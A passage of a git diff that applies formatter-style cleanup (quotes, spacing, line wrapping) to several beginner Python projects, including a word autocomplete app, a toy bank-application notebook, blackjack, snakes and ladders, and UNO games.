self.conn.execute("CREATE TABLE WordPrediction (name TEXT, value TEXT)") + cur.execute( + "INSERT INTO WordMap VALUES (?, ?)", + ( + "wordsmap", + "{}", + ), + ) + cur.execute( + "INSERT INTO WordPrediction VALUES (?, ?)", + ( + "predictions", + "{}", + ), + ) def train(self, sentence): """ @@ -66,14 +79,18 @@ def train(self, sentence): cur = self.conn.cursor() words_list = sentence.split(" ") - words_map = cur.execute("SELECT value FROM WordMap WHERE name='wordsmap'").fetchone()[0] + words_map = cur.execute( + "SELECT value FROM WordMap WHERE name='wordsmap'" + ).fetchone()[0] words_map = json.loads(words_map) - predictions = cur.execute("SELECT value FROM WordPrediction WHERE name='predictions'").fetchone()[0] + predictions = cur.execute( + "SELECT value FROM WordPrediction WHERE name='predictions'" + ).fetchone()[0] predictions = json.loads(predictions) - for idx in range(len(words_list)-1): - curr_word, next_word = words_list[idx], words_list[idx+1] + for idx in range(len(words_list) - 1): + curr_word, next_word = words_list[idx], words_list[idx + 1] if curr_word not in words_map: words_map[curr_word] = {} if next_word not in words_map[curr_word]: @@ -84,20 +101,30 @@ def train(self, sentence): # checking the completion word against the next word if curr_word not in predictions: predictions[curr_word] = { - 'completion_word': next_word, - 'completion_count': 1 + "completion_word": next_word, + "completion_count": 1, } else: - if words_map[curr_word][next_word] > predictions[curr_word]['completion_count']: - predictions[curr_word]['completion_word'] = next_word - predictions[curr_word]['completion_count'] = words_map[curr_word][next_word] + if ( + words_map[curr_word][next_word] + > predictions[curr_word]["completion_count"] + ): + predictions[curr_word]["completion_word"] = next_word + predictions[curr_word]["completion_count"] = words_map[curr_word][ + next_word + ] words_map = json.dumps(words_map) predictions = json.dumps(predictions) - cur.execute("UPDATE WordMap SET value = (?) WHERE name='wordsmap'", (words_map,)) - cur.execute("UPDATE WordPrediction SET value = (?) WHERE name='predictions'", (predictions,)) - return("training complete") + cur.execute( + "UPDATE WordMap SET value = (?) WHERE name='wordsmap'", (words_map,) + ) + cur.execute( + "UPDATE WordPrediction SET value = (?) WHERE name='predictions'", + (predictions,), + ) + return "training complete" def predict(self, word): """ @@ -110,17 +137,18 @@ def predict(self, word): - returns the completion word of the input word """ cur = self.conn.cursor() - predictions = cur.execute("SELECT value FROM WordPrediction WHERE name='predictions'").fetchone()[0] + predictions = cur.execute( + "SELECT value FROM WordPrediction WHERE name='predictions'" + ).fetchone()[0] predictions = json.loads(predictions) - completion_word = predictions[word.lower()]['completion_word'] + completion_word = predictions[word.lower()]["completion_word"] return completion_word - if __name__ == "__main__": input_ = "It is not enough to just know how tools work and what they worth,\ we have got to learn how to use them and to use them well. And with\ all these new weapons in your arsenal, we would better get those profits fired up" ac = AutoComplete() ac.train(input_) - print(ac.predict("to")) \ No newline at end of file + print(ac.predict("to")) diff --git a/AutoComplete_App/frontend.py b/AutoComplete_App/frontend.py index b7b78220747..137cfaf1442 100644 --- a/AutoComplete_App/frontend.py +++ b/AutoComplete_App/frontend.py @@ -7,15 +7,17 @@ def train(): ac = backend.AutoComplete() ac.train(sentence) + def predict_word(): word = predict_word_entry.get() ac = backend.AutoComplete() print(ac.predict(word)) + if __name__ == "__main__": root = Tk() root.title("Input note") - root.geometry('300x300') + root.geometry("300x300") train_label = Label(root, text="Train") train_label.pack() @@ -33,4 +35,4 @@ def predict_word(): predict_button = Button(root, text="predict", command=predict_word) predict_button.pack() - root.mainloop() \ No newline at end of file + root.mainloop() diff --git a/Automated Scheduled Call Reminders/caller.py b/Automated Scheduled Call Reminders/caller.py index 0526ea7c31a..f069da7df88 100644 --- a/Automated Scheduled Call Reminders/caller.py +++ b/Automated Scheduled Call Reminders/caller.py @@ -20,16 +20,15 @@ # Here the collection name is on_call which has documents with fields phone , from (%H:%M:%S time to call the person),date + # gets data from cloud database and calls 5 min prior the time (from time) alloted in the database def search(): - calling_time = datetime.now() one_hours_from_now = (calling_time + timedelta(hours=1)).strftime("%H:%M:%S") current_date = str(strftime("%d-%m-%Y", gmtime())) - docs = db.collection(u"on_call").where(u"date", u"==", current_date).stream() + docs = db.collection("on_call").where("date", "==", current_date).stream() list_of_docs = [] for doc in docs: - c = doc.to_dict() if (calling_time).strftime("%H:%M:%S") <= c["from"] <= one_hours_from_now: list_of_docs.append(c) diff --git a/Bank Application .ipynb b/Bank Application .ipynb index 8bad0d2a213..a780b0b0a7e 100644 --- a/Bank Application .ipynb +++ b/Bank Application .ipynb @@ -6,7 +6,7 @@ "metadata": {}, "outputs": [], "source": [ - "##open project " + "##open project" ] }, { @@ -23,12 +23,12 @@ "outputs": [], "source": [ "data = {\n", - " \"accno\" : [1001, 1002, 1003, 1004, 1005],\n", - " \"name\" : ['vaibhav', 'abhinav', 'aman', 'ashish', 'pramod'],\n", - " \"balance\" : [10000, 12000, 7000, 9000, 10000],\n", - " \"password\" : ['admin', 'adminadmin', 'passwd', '1234567', 'amigo'],\n", - " \"security_check\" : ['2211', '1112', '1009', '1307', '1103']\n", - "}\n" + " \"accno\": [1001, 1002, 1003, 1004, 1005],\n", + " \"name\": [\"vaibhav\", \"abhinav\", \"aman\", \"ashish\", \"pramod\"],\n", + " \"balance\": [10000, 12000, 7000, 9000, 10000],\n", + " \"password\": [\"admin\", \"adminadmin\", \"passwd\", \"1234567\", \"amigo\"],\n", + " \"security_check\": [\"2211\", \"1112\", \"1009\", \"1307\", \"1103\"],\n", + "}" ] }, { @@ -114,122 +114,136 @@ "# import getpass\n", "print(\"-------------------\".center(100))\n", "print(\"| Bank Application |\".center(100))\n", - "print(\"-\"*100)\n", - "while True :\n", + "print(\"-\" * 100)\n", + "while True:\n", " print(\"\\n 1. Login \\n 2. Signup \\n 3. Exit\")\n", " i1 = int(input(\"enter what you want login, signup, exit :\".center(50)))\n", - " #login part\n", + " # login part\n", " if i1 == 1:\n", " print(\"login\".center(90))\n", - " print(\"_\"*100)\n", + " print(\"_\" * 100)\n", " i2 = int(input(\"enter account number : \".center(50)))\n", " if i2 in (data[\"accno\"]):\n", " check = (data[\"accno\"]).index(i2)\n", " i3 = input(\"enter password : \".center(50))\n", - " check2= data[\"password\"].index(i3)\n", - " if check == check2:\n", + " check2 = data[\"password\"].index(i3)\n", + " if check == check2:\n", " while True:\n", - " print(\"\\n 1.check ditails \\n 2. debit \\n 3. credit \\n 4. change password \\n 5. main Manu \")\n", + " print(\n", + " \"\\n 1.check ditails \\n 2. debit \\n 3. credit \\n 4. change password \\n 5. main Manu \"\n", + " )\n", " i4 = int(input(\"enter what you want :\".center(50)))\n", - " #check ditails part\n", + " # check ditails part\n", " if i4 == 1:\n", " print(\"cheak ditails\".center(90))\n", - " print(\".\"*100)\n", + " print(\".\" * 100)\n", " print(f\"your account number --> {data['accno'][check]}\")\n", " print(f\"your name --> {data['name'][check]}\")\n", " print(f\"your balance --> {data['balance'][check]}\")\n", " continue\n", - " #debit part\n", - " elif i4 == 2 :\n", + " # debit part\n", + " elif i4 == 2:\n", " print(\"debit\".center(90))\n", - " print(\".\"*100)\n", + " print(\".\" * 100)\n", " print(f\"your balance --> {data['balance'][check]}\")\n", " i5 = int(input(\"enter debit amount : \"))\n", - " if 0 < i5 <= data['balance'][check]:\n", - " debit = data['balance'][check]-i5\n", - " data['balance'][check] = debit\n", - " print(f\"your remaining balance --> {data['balance'][check]}\")\n", + " if 0 < i5 <= data[\"balance\"][check]:\n", + " debit = data[\"balance\"][check] - i5\n", + " data[\"balance\"][check] = debit\n", + " print(\n", + " f\"your remaining balance --> {data['balance'][check]}\"\n", + " )\n", " else:\n", " print(\"your debit amount is more than balance \")\n", " continue\n", - " #credit part\n", - " elif i4 == 3 :\n", + " # credit part\n", + " elif i4 == 3:\n", " print(\"credit\".center(90))\n", - " print(\".\"*100)\n", + " print(\".\" * 100)\n", " print(f\"your balance --> {data['balance'][check]}\")\n", " i6 = int(input(\"enter credit amount : \"))\n", " if 0 < i6:\n", - " credit = data['balance'][check]+i6\n", - " data['balance'][check] = credit\n", + " credit = data[\"balance\"][check] + i6\n", + " data[\"balance\"][check] = credit\n", " print(f\"your new balance --> {data['balance'][check]}\")\n", " else:\n", " print(\"your credit amount is low \")\n", " continue\n", - " #password part\n", - " elif i4 == 4 :\n", + " # password part\n", + " elif i4 == 4:\n", " print(\"change password\".center(90))\n", - " print(\".\"*100)\n", + " print(\".\" * 100)\n", " old = input(\"enter your old password : \")\n", - " print(\"your password must have at list one lower case, one uppercase, one digital, one special case and length of password is 8\")\n", - " new = getpass.getpass(prompt = \"Enter your new password\" )\n", + " print(\n", + " \"your password must have at list one lower case, one uppercase, one digital, one special case and length of password is 8\"\n", + " )\n", + " new = getpass.getpass(prompt=\"Enter your new password\")\n", " if old == data[\"password\"][check]:\n", - " low, up ,sp ,di = 0, 0, 0, 0\n", - " if (len(new))> 8 :\n", + " low, up, sp, di = 0, 0, 0, 0\n", + " if (len(new)) > 8:\n", " for i in new:\n", - " if (i.islower()):\n", + " if i.islower():\n", " low += 1\n", - " if (i.isupper()):\n", - " up +=1 \n", - " if (i.isdigit()):\n", + " if i.isupper():\n", + " up += 1\n", + " if i.isdigit():\n", " di += 1\n", - " if (i in ['@','$','%','^','&','*']):\n", + " if i in [\"@\", \"$\", \"%\", \"^\", \"&\", \"*\"]:\n", " sp += 1\n", - " if (low>=1 and up>=1 and sp>=1 and di>=1 and low+up+sp+di==len(new)):\n", - " data['password'][check] = new\n", - " print(f\"your new password --> {data['password'][check]}\")\n", + " if (\n", + " low >= 1\n", + " and up >= 1\n", + " and sp >= 1\n", + " and di >= 1\n", + " and low + up + sp + di == len(new)\n", + " ):\n", + " data[\"password\"][check] = new\n", + " print(\n", + " f\"your new password --> {data['password'][check]}\"\n", + " )\n", " else:\n", " print(\"Invalid Password\")\n", " else:\n", " print(\"old password wrong please enter valid password\")\n", " continue\n", - " elif i4 == 5 :\n", + " elif i4 == 5:\n", " print(\"main menu\".center(90))\n", - " print(\".\"*100)\n", + " print(\".\" * 100)\n", " break\n", " else:\n", - " print(\"please enter valid number\") \n", + " print(\"please enter valid number\")\n", " else:\n", " print(\"please check your password number\".center(50))\n", " else:\n", - " print(\"please check your account number\".center(50)) \n", - " #signup part \n", - " elif i1 == 2 :\n", + " print(\"please check your account number\".center(50))\n", + " # signup part\n", + " elif i1 == 2:\n", " print(\"signup\".center(90))\n", - " print(\"_\"*100)\n", - " acc = 1001 + len(data['accno'])\n", - " data['accno'].append(acc)\n", - " ind = (data['accno']).index(acc)\n", + " print(\"_\" * 100)\n", + " acc = 1001 + len(data[\"accno\"])\n", + " data[\"accno\"].append(acc)\n", + " ind = (data[\"accno\"]).index(acc)\n", " name = input(\"enter your name : \")\n", - " data['name'].append(name)\n", + " data[\"name\"].append(name)\n", " balance = int(input(\"enter your initial balance : \"))\n", - " data['balance'].append(balance)\n", + " data[\"balance\"].append(balance)\n", " password = input(\"enter your password : \")\n", - " data['password'].append(password)\n", + " data[\"password\"].append(password)\n", " security_check = (int(input(\"enter your security pin (DDMM) : \"))).split()\n", - " print(\".\"*100)\n", + " print(\".\" * 100)\n", " print(f\"your account number --> {data['accno'][ind]}\".center(50))\n", " print(f\"your name --> {data['name'][ind]}\".center(50))\n", " print(f\"your balance --> {data['balance'][ind]}\".center(50))\n", " print(f\"your password --> {data['password'][ind]}\".center(50))\n", " continue\n", - " #exit part\n", - " elif i1== 3 :\n", + " # exit part\n", + " elif i1 == 3:\n", " print(\"exit\".center(90))\n", " print(\"thank you for visiting\".center(90))\n", - " print(\".\"*100)\n", + " print(\".\" * 100)\n", " break\n", " else:\n", - " print(f\"wrong enter : {i1}\".center(50))\n" + " print(f\"wrong enter : {i1}\".center(50))" ] }, { @@ -247,7 +261,7 @@ "source": [ "def cheak_ditails(check):\n", " print(\"cheak ditails\".center(90))\n", - " print(\".\"*100)\n", + " print(\".\" * 100)\n", " print(f\"your account number --> {data['accno'][check]}\")\n", " print(f\"your name --> {data['name'][check]}\")\n", " print(f\"your balance --> {data['balance'][check]}\")" @@ -261,12 +275,12 @@ "source": [ "def credit(check):\n", " print(\"credit\".center(90))\n", - " print(\".\"*100)\n", + " print(\".\" * 100)\n", " print(f\"your balance --> {data['balance'][check]}\")\n", " i6 = int(input(\"enter credit amount : \"))\n", " if 0 < i6:\n", - " credit = data['balance'][check]+i6\n", - " data['balance'][check] = credit\n", + " credit = data[\"balance\"][check] + i6\n", + " data[\"balance\"][check] = credit\n", " print(f\"your new balance --> {data['balance'][check]}\")\n", " else:\n", " print(\"your credit amount is low \")" @@ -280,12 +294,12 @@ "source": [ "def debit(check):\n", " print(\"debit\".center(90))\n", - " print(\".\"*100)\n", + " print(\".\" * 100)\n", " print(f\"your balance --> {data['balance'][check]}\")\n", " i5 = int(input(\"enter debit amount : \"))\n", - " if 0 < i5 <= data['balance'][check]:\n", - " debit = data['balance'][check]-i5\n", - " data['balance'][check] = debit\n", + " if 0 < i5 <= data[\"balance\"][check]:\n", + " debit = data[\"balance\"][check] - i5\n", + " data[\"balance\"][check] = debit\n", " print(f\"your remaining balance --> {data['balance'][check]}\")\n", " else:\n", " print(\"your debit amount is more than balance \")" @@ -299,24 +313,32 @@ "source": [ "def change_password(check):\n", " print(\"change password\".center(90))\n", - " print(\".\"*100)\n", + " print(\".\" * 100)\n", " old = input(\"enter your old password : \")\n", - " print(\"your password must have at list one lower case, one uppercase, one digital, one special case and length of password is 8\")\n", - " new = getpass.getpass(prompt = \"Enter your new password\" )\n", + " print(\n", + " \"your password must have at list one lower case, one uppercase, one digital, one special case and length of password is 8\"\n", + " )\n", + " new = getpass.getpass(prompt=\"Enter your new password\")\n", " if old == data[\"password\"][check]:\n", - " low, up ,sp ,di = 0, 0, 0, 0\n", - " if (len(new))> 8 :\n", + " low, up, sp, di = 0, 0, 0, 0\n", + " if (len(new)) > 8:\n", " for i in new:\n", - " if (i.islower()):\n", + " if i.islower():\n", " low += 1\n", - " if (i.isupper()):\n", - " up +=1 \n", - " if (i.isdigit()):\n", + " if i.isupper():\n", + " up += 1\n", + " if i.isdigit():\n", " di += 1\n", - " if (i in ['@','$','%','^','&','*']):\n", + " if i in [\"@\", \"$\", \"%\", \"^\", \"&\", \"*\"]:\n", " sp += 1\n", - " if (low>=1 and up>=1 and sp>=1 and di>=1 and low+up+sp+di==len(new)):\n", - " data['password'][check] = new\n", + " if (\n", + " low >= 1\n", + " and up >= 1\n", + " and sp >= 1\n", + " and di >= 1\n", + " and low + up + sp + di == len(new)\n", + " ):\n", + " data[\"password\"][check] = new\n", " print(f\"your new password --> {data['password'][check]}\")\n", " else:\n", " print(\"Invalid Password\")\n", @@ -332,42 +354,44 @@ "source": [ "def login():\n", " print(\"login\".center(90))\n", - " print(\"_\"*100)\n", + " print(\"_\" * 100)\n", " i2 = int(input(\"enter account number : \".center(50)))\n", " if i2 in (data[\"accno\"]):\n", " check = (data[\"accno\"]).index(i2)\n", " i3 = input(\"enter password : \".center(50))\n", - " check2= data[\"password\"].index(i3)\n", - " if check == check2:\n", + " check2 = data[\"password\"].index(i3)\n", + " if check == check2:\n", " while True:\n", - " print(\"\\n 1.check ditails \\n 2. debit \\n 3. credit \\n 4. change password \\n 5. main Manu \")\n", + " print(\n", + " \"\\n 1.check ditails \\n 2. debit \\n 3. credit \\n 4. change password \\n 5. main Manu \"\n", + " )\n", " i4 = int(input(\"enter what you want :\".center(50)))\n", - " #check ditails part\n", + " # check ditails part\n", " if i4 == 1:\n", " cheak_ditails(check)\n", " continue\n", - " #debit part\n", - " elif i4 == 2 :\n", + " # debit part\n", + " elif i4 == 2:\n", " debit(check)\n", " continue\n", - " #credit part\n", - " elif i4 == 3 :\n", + " # credit part\n", + " elif i4 == 3:\n", " credit(check)\n", " continue\n", - " #password part\n", - " elif i4 == 4 :\n", + " # password part\n", + " elif i4 == 4:\n", " change_password(check)\n", " continue\n", - " elif i4 == 5 :\n", + " elif i4 == 5:\n", " print(\"main menu\".center(90))\n", - " print(\".\"*100)\n", + " print(\".\" * 100)\n", " break\n", " else:\n", - " print(\"please enter valid number\") \n", + " print(\"please enter valid number\")\n", " else:\n", " print(\"please check your password number\".center(50))\n", " else:\n", - " print(\"please check your account number\".center(50)) " + " print(\"please check your account number\".center(50))" ] }, { @@ -377,13 +401,13 @@ "outputs": [], "source": [ "def security_check(ss):\n", - " data = {(1, 3, 5, 7, 8, 10, 12) : 31, (2, ) : 29, (4, 6, 9) : 30}\n", + " data = {(1, 3, 5, 7, 8, 10, 12): 31, (2,): 29, (4, 6, 9): 30}\n", " month = ss[2:]\n", " date = ss[:2]\n", " for key, value in data.items():\n", " print(key, value)\n", " if int(month) in key:\n", - " if 1<=int(date)<=value:\n", + " if 1 <= int(date) <= value:\n", " return True\n", " return False\n", " return False" @@ -397,22 +421,22 @@ "source": [ "def signup():\n", " print(\"signup\".center(90))\n", - " print(\"_\"*100)\n", - " acc = 1001 + len(data['accno'])\n", - " data['accno'].append(acc)\n", - " ind = (data['accno']).index(acc)\n", + " print(\"_\" * 100)\n", + " acc = 1001 + len(data[\"accno\"])\n", + " data[\"accno\"].append(acc)\n", + " ind = (data[\"accno\"]).index(acc)\n", " name = input(\"enter your name : \")\n", - " data['name'].append(name)\n", + " data[\"name\"].append(name)\n", " balance = int(input(\"enter your initial balance : \"))\n", - " data['balance'].append(balance)\n", + " data[\"balance\"].append(balance)\n", " password = input(\"enter your password : \")\n", - " data['password'].append(password)\n", - " ss=input(\"enter a secuirty quetion in form dd//mm\")\n", + " data[\"password\"].append(password)\n", + " ss = input(\"enter a secuirty quetion in form dd//mm\")\n", " security_check(ss)\n", - " data['security_check'].append(ss)\n", - " print(\".\"*100)\n", + " data[\"security_check\"].append(ss)\n", + " print(\".\" * 100)\n", " print(f\"your account number --> {data['accno'][ind]}\".center(50))\n", - " print(f\"your name --> {data['name'][ind]}\".center(50))\n" + " print(f\"your name --> {data['name'][ind]}\".center(50))" ] }, { @@ -453,24 +477,24 @@ "def main():\n", " print(\"-------------------\".center(100))\n", " print(\"| Bank Application |\".center(100))\n", - " print(\"-\"*100)\n", - " while True :\n", + " print(\"-\" * 100)\n", + " while True:\n", " print(\"\\n 1. Login \\n 2. Signup \\n 3. Exit\")\n", " i1 = int(input(\"enter what you want login, signup, exit :\".center(50)))\n", - " #login part\n", + " # login part\n", " if i1 == 1:\n", " login()\n", - " #signup part \n", - " elif i1 == 2 :\n", + " # signup part\n", + " elif i1 == 2:\n", " signup()\n", - " #exit part\n", - " elif i1== 3 :\n", + " # exit part\n", + " elif i1 == 3:\n", " print(\"exit\".center(90))\n", " print(\"thank you for visiting\".center(90))\n", - " print(\".\"*100)\n", + " print(\".\" * 100)\n", " break\n", " else:\n", - " print(f\"wrong enter : {i1}\".center(50))\n" + " print(f\"wrong enter : {i1}\".center(50))" ] }, { diff --git a/Base Converter Number system.py b/Base Converter Number system.py index 5c1d92e1485..23961a1372d 100644 --- a/Base Converter Number system.py +++ b/Base Converter Number system.py @@ -7,7 +7,6 @@ def base_check(xnumber, xbase): def convert_from_10(xnumber, xbase, arr, ybase): if int(xbase) == 2 or int(xbase) == 4 or int(xbase) == 6 or int(xbase) == 8: - if xnumber == 0: return arr else: diff --git a/Battery_notifier.py b/Battery_notifier.py index d871e43d928..2f45301bc1e 100644 --- a/Battery_notifier.py +++ b/Battery_notifier.py @@ -6,9 +6,7 @@ # battery percent will return the current battery prcentage percent = battery.percent -charging = ( - battery.power_plugged -) +charging = battery.power_plugged # Notification(title, description, duration)--to send # notification to desktop diff --git a/Binary_search.py b/Binary_search.py index 0b2211d6a48..3961529fcc8 100644 --- a/Binary_search.py +++ b/Binary_search.py @@ -24,7 +24,10 @@ def binary_search(arr, l, r, x): # Main Function if __name__ == "__main__": # User input array - arr = [int(x) for x in input("Enter the array with elements separated by commas: ").split(",")] + arr = [ + int(x) + for x in input("Enter the array with elements separated by commas: ").split(",") + ] # User input element to search for x = int(input("Enter the element you want to search for: ")) diff --git a/BlackJack_game/blackjack.py b/BlackJack_game/blackjack.py index 275b0d7368d..7a1331f84be 100644 --- a/BlackJack_game/blackjack.py +++ b/BlackJack_game/blackjack.py @@ -14,7 +14,7 @@ random.shuffle(deck) -print(f'{"*"*58} \n Welcome to the game Casino - BLACK JACK ! \n{"*"*58}') +print(f"{'*' * 58} \n Welcome to the game Casino - BLACK JACK ! \n{'*' * 58}") sleep(2) print("So Finally You Are Here To Accept Your Fate") sleep(2) @@ -49,19 +49,19 @@ print("The cards Player has are ", p_cards) if sum(p_cards) > 21: - print(f"You are BUSTED !\n {'*'*14}Dealer Wins !!{'*'*14}\n") + print(f"You are BUSTED !\n {'*' * 14}Dealer Wins !!{'*' * 14}\n") exit() if sum(d_cards) > 21: - print(f"Dealer is BUSTED !\n {'*'*14} You are the Winner !!{'*'*18}\n") + print(f"Dealer is BUSTED !\n {'*' * 14} You are the Winner !!{'*' * 18}\n") exit() if sum(d_cards) == 21: - print(f"{'*'*24}Dealer is the Winner !!{'*'*14}") + print(f"{'*' * 24}Dealer is the Winner !!{'*' * 14}") exit() if sum(d_cards) == 21 and sum(p_cards) == 21: - print(f"{'*'*17}The match is tie !!{'*'*25}") + print(f"{'*' * 17}The match is tie !!{'*' * 25}") exit() @@ -75,47 +75,46 @@ def dealer_choice(): print("Dealer has total " + str(sum(d_cards)) + "with the cards ", d_cards) if sum(p_cards) == sum(d_cards): - print(f"{'*'*15}The match is tie !!{'*'*15}") + print(f"{'*' * 15}The match is tie !!{'*' * 15}") exit() if sum(d_cards) == 21: if sum(p_cards) < 21: - print(f"{'*'*23}Dealer is the Winner !!{'*'*18}") + print(f"{'*' * 23}Dealer is the Winner !!{'*' * 18}") elif sum(p_cards) == 21: - print(f"{'*'*20}There is tie !!{'*'*26}") + print(f"{'*' * 20}There is tie !!{'*' * 26}") else: - print(f"{'*'*23}Dealer is the Winner !!{'*'*18}") + print(f"{'*' * 23}Dealer is the Winner !!{'*' * 18}") elif sum(d_cards) < 21: if sum(p_cards) < 21 and sum(p_cards) < sum(d_cards): - print(f"{'*'*23}Dealer is the Winner !!{'*'*18}") + print(f"{'*' * 23}Dealer is the Winner !!{'*' * 18}") if sum(p_cards) == 21: - print(f"{'*'*22}Player is winner !!{'*'*22}") + print(f"{'*' * 22}Player is winner !!{'*' * 22}") if 21 > sum(p_cards) > sum(d_cards): - print(f"{'*'*22}Player is winner !!{'*'*22}") + print(f"{'*' * 22}Player is winner !!{'*' * 22}") else: if sum(p_cards) < 21: - print(f"{'*'*22}Player is winner !!{'*'*22}") + print(f"{'*' * 22}Player is winner !!{'*' * 22}") elif sum(p_cards) == 21: - print(f"{'*'*22}Player is winner !!{'*'*22}") + print(f"{'*' * 22}Player is winner !!{'*' * 22}") else: - print(f"{'*'*23}Dealer is the Winner !!{'*'*18}") + print(f"{'*' * 23}Dealer is the Winner !!{'*' * 18}") while sum(p_cards) < 21: - # to continue the game again and again !! k = input("Want to hit or stay?\n Press 1 for hit and 0 for stay ") - if k == "1": #Ammended 1 to a string + if k == "1": # Ammended 1 to a string random.shuffle(deck) p_cards.append(deck.pop()) print("You have a total of " + str(sum(p_cards)) + " with the cards ", p_cards) if sum(p_cards) > 21: - print(f'{"*"*13}You are BUSTED !{"*"*13}\n Dealer Wins !!') + print(f"{'*' * 13}You are BUSTED !{'*' * 13}\n Dealer Wins !!") if sum(p_cards) == 21: - print(f'{"*"*19}You are the Winner !!{"*"*29}') + print(f"{'*' * 19}You are the Winner !!{'*' * 29}") else: dealer_choice() - break \ No newline at end of file + break diff --git a/BlackJack_game/blackjack_rr.py b/BlackJack_game/blackjack_rr.py index d7c46b83cf6..a70c2d4acc1 100644 --- a/BlackJack_game/blackjack_rr.py +++ b/BlackJack_game/blackjack_rr.py @@ -189,7 +189,6 @@ def push(player, dealer): player_chips = Chips() while True: - print("\t **********************************************************") print( "\t Welcome to the game Casino - BLACK JACK ! " @@ -227,7 +226,6 @@ def push(player, dealer): show_some(player_hand, dealer_hand) while playing: - hit_or_stand(deck, player_hand) show_some(player_hand, dealer_hand) @@ -236,7 +234,6 @@ def push(player, dealer): break if player_hand.value <= 21: - while dealer_hand.value < 17: hit(deck, dealer_hand) diff --git a/BoardGame-CLI/python.py b/BoardGame-CLI/python.py index 40183159ec1..49929a775ce 100644 --- a/BoardGame-CLI/python.py +++ b/BoardGame-CLI/python.py @@ -2,16 +2,35 @@ # Define the game board with snakes and ladders snakes_and_ladders = { - 2: 38, 7: 14, 8: 31, 15: 26, 16: 6, 21: 42, - 28: 84, 36: 44, 46: 25, 49: 11, 51: 67, 62: 19, - 64: 60, 71: 91, 74: 53, 78: 98, 87: 94, 89: 68, - 92: 88, 95: 75, 99: 80 + 2: 38, + 7: 14, + 8: 31, + 15: 26, + 16: 6, + 21: 42, + 28: 84, + 36: 44, + 46: 25, + 49: 11, + 51: 67, + 62: 19, + 64: 60, + 71: 91, + 74: 53, + 78: 98, + 87: 94, + 89: 68, + 92: 88, + 95: 75, + 99: 80, } + # Function to roll a six-sided die def roll_die(): return random.randint(1, 6) + # Function to simulate a single turn def take_turn(current_position, player_name): # Roll the die @@ -36,6 +55,7 @@ def take_turn(current_position, player_name): return new_position + # Main game loop def play_snakes_and_ladders(): player1_position = 1 @@ -65,5 +85,6 @@ def play_snakes_and_ladders(): elif player2_position == 100: print(f"{player2_name} won!") + # Start the game play_snakes_and_ladders() diff --git a/BoardGame-CLI/snakeLadder.py b/BoardGame-CLI/snakeLadder.py index d8892ed4339..ea605cab340 100644 --- a/BoardGame-CLI/snakeLadder.py +++ b/BoardGame-CLI/snakeLadder.py @@ -19,7 +19,7 @@ def player_input(): player_num = int(input("Enter the number of players: ")) if player_num > 0: for i in range(player_num): - name = input(f"Enter player {i+1} name: ") + name = input(f"Enter player {i + 1} name: ") players[name] = current_loc isReady[name] = False x = False @@ -43,11 +43,11 @@ def play(): global imp while imp: - print("/"*20) + print("/" * 20) print("1 -> roll the dice (or enter)") print("2 -> start new game") print("3 -> exit the game") - print("/"*20) + print("/" * 20) for i in players: n = input("{}'s turn: ".format(i)) or 1 @@ -70,7 +70,7 @@ def play(): looproll = roll() temp1 += looproll print(f"you got {looproll} ") - if counter_6 == 3 : + if counter_6 == 3: temp1 -= 18 print("Three consectutives 6 got cancelled") print("") @@ -116,19 +116,19 @@ def move(a, i): # snake bite code def snake(c, i): - if (c == 32): + if c == 32: players[i] = 10 - elif (c == 36): + elif c == 36: players[i] = 6 - elif (c == 48): + elif c == 48: players[i] = 26 - elif (c == 63): + elif c == 63: players[i] = 18 - elif (c == 88): + elif c == 88: players[i] = 24 - elif (c == 95): + elif c == 95: players[i] = 56 - elif (c == 97): + elif c == 97: players[i] = 78 else: return players[i] @@ -141,21 +141,21 @@ def snake(c, i): def ladder(a, i): global players - if (a == 4): + if a == 4: players[i] = 14 - elif (a == 8): + elif a == 8: players[i] = 30 - elif (a == 20): + elif a == 20: players[i] = 38 - elif (a == 40): + elif a == 40: players[i] = 42 - elif (a == 28): + elif a == 28: players[i] = 76 - elif (a == 50): + elif a == 50: players[i] = 67 - elif (a == 71): + elif a == 71: players[i] = 92 - elif (a == 88): + elif a == 88: players[i] = 99 else: return players[i] @@ -165,9 +165,9 @@ def ladder(a, i): # while run: -print("/"*40) +print("/" * 40) print("Welcome to the snake ladder game !!!!!!!") -print("/"*40) +print("/" * 40) player_input() diff --git a/BoardGame-CLI/uno.py b/BoardGame-CLI/uno.py index 4f36372a5f8..f10f46c4ff8 100644 --- a/BoardGame-CLI/uno.py +++ b/BoardGame-CLI/uno.py @@ -1,6 +1,7 @@ # uno game # import random + """ Generate the UNO deck of 108 cards. Parameters: None @@ -99,9 +100,10 @@ def canPlay(colour, value, playerHand): numPlayers = int(input("How many players?")) while numPlayers < 2 or numPlayers > 4: numPlayers = int( - input("Invalid. Please enter a number between 2-4.\nHow many players?")) + input("Invalid. Please enter a number between 2-4.\nHow many players?") + ) for player in range(numPlayers): - players_name.append(input("Enter player {} name: ".format(player+1))) + players_name.append(input("Enter player {} name: ".format(player + 1))) players.append(drawCards(5)) @@ -121,11 +123,12 @@ def canPlay(colour, value, playerHand): print("Card on top of discard pile: {}".format(discards[-1])) if canPlay(currentColour, cardVal, players[playerTurn]): cardChosen = int(input("Which card do you want to play?")) - while not canPlay(currentColour, cardVal, [players[playerTurn][cardChosen-1]]): - cardChosen = int( - input("Not a valid card. Which card do you want to play?")) - print("You played {}".format(players[playerTurn][cardChosen-1])) - discards.append(players[playerTurn].pop(cardChosen-1)) + while not canPlay( + currentColour, cardVal, [players[playerTurn][cardChosen - 1]] + ): + cardChosen = int(input("Not a valid card. Which card do you want to play?")) + print("You played {}".format(players[playerTurn][cardChosen - 1])) + discards.append(players[playerTurn].pop(cardChosen - 1)) # cheak if player won if len(players[playerTurn]) == 0: @@ -142,13 +145,13 @@ def canPlay(colour, value, playerHand): cardVal = splitCard[1] if currentColour == "Wild": for x in range(len(colours)): - print("{}) {}".format(x+1, colours[x])) - newColour = int( - input("What colour would you like to choose? ")) + print("{}) {}".format(x + 1, colours[x])) + newColour = int(input("What colour would you like to choose? ")) while newColour < 1 or newColour > 4: newColour = int( - input("Invalid option. What colour would you like to choose")) - currentColour = colours[newColour-1] + input("Invalid option. What colour would you like to choose") + ) + currentColour = colours[newColour - 1] if cardVal == "Reverse": playDirection = playDirection * -1 elif cardVal == "Skip": @@ -156,20 +159,20 @@ def canPlay(colour, value, playerHand): if playerTurn >= numPlayers: playerTurn = 0 elif playerTurn < 0: - playerTurn = numPlayers-1 + playerTurn = numPlayers - 1 elif cardVal == "Draw Two": - playerDraw = playerTurn+playDirection + playerDraw = playerTurn + playDirection if playerDraw == numPlayers: playerDraw = 0 elif playerDraw < 0: - playerDraw = numPlayers-1 + playerDraw = numPlayers - 1 players[playerDraw].extend(drawCards(2)) elif cardVal == "Draw 